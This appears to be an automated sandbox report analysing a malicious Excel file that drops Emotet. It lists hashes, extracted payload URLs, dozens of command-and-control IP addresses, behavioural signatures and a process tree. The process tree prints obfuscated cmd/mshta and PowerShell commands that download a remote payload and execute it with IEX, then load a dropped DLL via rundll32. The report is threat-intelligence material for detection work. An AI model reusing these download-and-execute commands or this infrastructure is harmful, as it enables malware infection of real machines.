Analysis
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max time kernel
110s -
max time network
151s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
20-01-2022 19:11
Behavioral task
behavioral1
Sample
a2f32b5bfd78eeee7b3d4d44b4da8c8aeb98ab866a7998e2adaabc80cd1247a4.xls
Resource
win10-en-20211208
General
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Target
a2f32b5bfd78eeee7b3d4d44b4da8c8aeb98ab866a7998e2adaabc80cd1247a4.xls
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Size
142KB
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MD5
dbec7c9243ac15b3a8a655df66c73b36
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SHA1
bc2363c0f1aeb0167b933b99ccfc2d26e24a795f
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SHA256
a2f32b5bfd78eeee7b3d4d44b4da8c8aeb98ab866a7998e2adaabc80cd1247a4
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SHA512
66108f0128d7d2fa1900d98c60a752699b1134b80d678754f1ad6989ab086f5c41075e598ae4e1442544731aceedf7d204a243db6209a09e9d6da28d9c256745
Malware Config
Extracted
http://0xb907d607/fer/fer.html
Extracted
http://185.7.214.7/fer/fer.png
Extracted
emotet
Epoch4
131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3164 652 cmd.exe 68 -
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
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Blocklisted process makes network request 5 IoCs
flow pid Process 28 4016 mshta.exe 35 392 powershell.exe 37 392 powershell.exe 39 392 powershell.exe 49 1784 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 2 IoCs
pid Process 2232 rundll32.exe 2164 rundll32.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Llzmmsjeat\xewancjuj.zwb rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
pid pid_target Process procid_target 2096 4016 WerFault.exe 75 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 652 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
pid Process 392 powershell.exe 392 powershell.exe 2096 WerFault.exe 2096 WerFault.exe 2096 WerFault.exe 2096 WerFault.exe 2096 WerFault.exe 2096 WerFault.exe 2096 WerFault.exe 2096 WerFault.exe 2096 WerFault.exe 2096 WerFault.exe 2096 WerFault.exe 2096 WerFault.exe 2096 WerFault.exe 2096 WerFault.exe 392 powershell.exe 1784 rundll32.exe 1784 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 392 powershell.exe Token: SeDebugPrivilege 2096 WerFault.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 652 EXCEL.EXE 652 EXCEL.EXE 652 EXCEL.EXE 652 EXCEL.EXE 652 EXCEL.EXE 652 EXCEL.EXE 652 EXCEL.EXE 652 EXCEL.EXE 652 EXCEL.EXE 652 EXCEL.EXE 652 EXCEL.EXE 652 EXCEL.EXE 652 EXCEL.EXE -
Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 652 wrote to memory of 2120 652 EXCEL.EXE 72 PID 652 wrote to memory of 2120 652 EXCEL.EXE 72 PID 652 wrote to memory of 3164 652 EXCEL.EXE 73 PID 652 wrote to memory of 3164 652 EXCEL.EXE 73 PID 3164 wrote to memory of 4016 3164 cmd.exe 75 PID 3164 wrote to memory of 4016 3164 cmd.exe 75 PID 4016 wrote to memory of 392 4016 mshta.exe 77 PID 4016 wrote to memory of 392 4016 mshta.exe 77 PID 392 wrote to memory of 504 392 powershell.exe 80 PID 392 wrote to memory of 504 392 powershell.exe 80 PID 504 wrote to memory of 2232 504 cmd.exe 81 PID 504 wrote to memory of 2232 504 cmd.exe 81 PID 504 wrote to memory of 2232 504 cmd.exe 81 PID 2232 wrote to memory of 2164 2232 rundll32.exe 82 PID 2232 wrote to memory of 2164 2232 rundll32.exe 82 PID 2232 wrote to memory of 2164 2232 rundll32.exe 82 PID 2164 wrote to memory of 2708 2164 rundll32.exe 83 PID 2164 wrote to memory of 2708 2164 rundll32.exe 83 PID 2164 wrote to memory of 2708 2164 rundll32.exe 83 PID 2708 wrote to memory of 1784 2708 rundll32.exe 84 PID 2708 wrote to memory of 1784 2708 rundll32.exe 84 PID 2708 wrote to memory of 1784 2708 rundll32.exe 84
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a2f32b5bfd78eeee7b3d4d44b4da8c8aeb98ab866a7998e2adaabc80cd1247a4.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:652 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2120
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C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3164 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fer.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4016 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:392 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:504 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2232 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2164 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Llzmmsjeat\xewancjuj.zwb",lhatJUQzXcxanH8⤵
- Suspicious use of WriteProcessMemory
PID:2708 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Llzmmsjeat\xewancjuj.zwb",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1784
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4016 -s 18684⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2096
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